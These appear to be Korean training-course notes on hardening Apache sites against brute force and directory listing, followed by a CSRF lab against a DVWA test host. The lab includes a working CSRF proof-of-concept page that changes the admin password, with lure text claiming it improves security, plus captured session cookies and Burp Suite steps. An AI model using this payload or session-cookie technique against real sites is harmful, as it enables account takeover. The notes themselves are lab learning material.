DAY22
DAY22

미션: basic.st.kr과 bookmarket.st.kr 사이트 구축 후 brute force 공격 취약점 대비하기

미션6(제한시간 20분)
공통사항
계정생성 후 백업 스크립트 작동여부 반드시 확인해서 수정할것
계정 로그인시 log@mail.st.kr로 접속 여부 전송 확인
도메인 추가하기

[도메인:basic.st.kr]
basic 계정을 생성하고 사이트가 정상적으로 작동되도록 조치하라
basic.zip
[도메인:bookmarket.st.kr]
bookmarket 계정을 생성하고 사이트가 정상적으로 작동되도록 조치하라
bookrmarket.zip
두개의 사이트는 bruteforce 공격이 가능한가?
가능하다면 bruteforce공격을 차단하라
$total_failed_login=3;
$lockout_time=3;
$account_locked=false;

다른취약점은 없는지 소스코드 살펴보기

db 복구
cd /home/basic/public_html/db
mysql -u user1 -p sample < board.sql
mysql -u user1 -p sample < members.sql

취약점확인1. nikto -host basic.st.kr
디렉토리 목록이 다 뜨는 것을 확인

디렉토리 리스팅
cd /etc/apache2/sites-available/hosting.conf

<Directory "/home/competition/public_html">
   Options Indexes
</Directory>

=> 목록 보이지 않게 해주려면 None

취약점확인2.
sudo nano /etc/apache2/apache2.conf
	ServerTokens Prod # 최소한의 서버 정보만 노출 (예: Apache) #일부 삭제
	ServerSignature Off  # 오류 페이지에서 서버 서명(버전) 숨기기
sudo systemctl restart apache2

or

nano /conf-available/security.conf
	serversignature off

sudo systemctl restart apache2

=>nikto 돌려보면 apache 버전 안나옴

---------------------------------------------------------

brute force 공격(사전공격)은 
dvwa.st.kr > public_html > vulnerabilities > brute > source > impossible.php 참고해서 짜기!!

login.php

------------------------------------------------------

Bootstrap Example

csrf 공격


관리자> 웹사이트에 접속돼있는 상태(로그인)에서!!!
칼리> 관리자의 암호를 바꿔보자(사전없음)

세션, 쿠키이용

메니져pc가 서버와 연결되어있을 때의 세션값 얻기

dvwa.st.kr
admin/password
f12
network 누르고 > f5
	cookie: PHPSESSID=; (세션값 확인)
=> 메일 보내면 몰라도 된다??

*csrf
CSRF 동작 원리
피해자가 인증된 상태(예: 로그인 상태)에서 공격자가 만든 악성 링크 또는 스크립트를 실행합니다.
악성 요청은 사용자의 브라우저를 통해 인증된 쿠키와 함께 대상 서버로 전송됩니다.
서버는 요청이 정당한 사용자의 요청인 것으로 간주하고 작업을 수행합니다.
*크로스....스크립트?




kali
빈 노트
http://dvwa.st.kr/vulnerabilities/csrf/
password_new="1"&password_conf=1&Change=Change

csrf.txt
< html>
< head>
< /head>
< script language="">
function poc(){
  var host='dvwa.st.kr';
  var request = "http://"+host +"/vulnerabilities/csrf/?password_new=?&password_conf=?&Change=Change";
  alert(request);
  var xmlhttp = new XMLHttpRequest();
  xmlhttp.open("GET",request,true);
  xmlhttp.withCredentials="true";
  xmlhttp.send();
  alert("csrf 작동 완료");
}
< /script>
< body>
이 링크를 누르면 보안이 강화됨
< a href="javascript:poc()">눌러< /a>< br>
< /body>
< /html>

세션값.txt
PHPSESSID=vdts3o14e2l7ckl39hn9ch8033; security=low
PHPSESSID=ngkh6favk37ej8du5gm39mfafc; security=low

burp suite
intercept open > /home/kali/desktop/csrf.html
두번째 ? 부터 ?대신 비밀번호로 바꾸기
cookie 추가
	세션값에 phpsessid, security 추가
forward

dvwa.st.kr 암호 변경됐는지 확인

=> 변경된 경우
worbench의 admin 비밀번호값 hash가 python 출력값과 같은지 확인

python
import hashlib
md5=hashlib.md5()
md5.update("654321".encode())
print(md5.hexdigest())
=> 해쉬값 일치 확인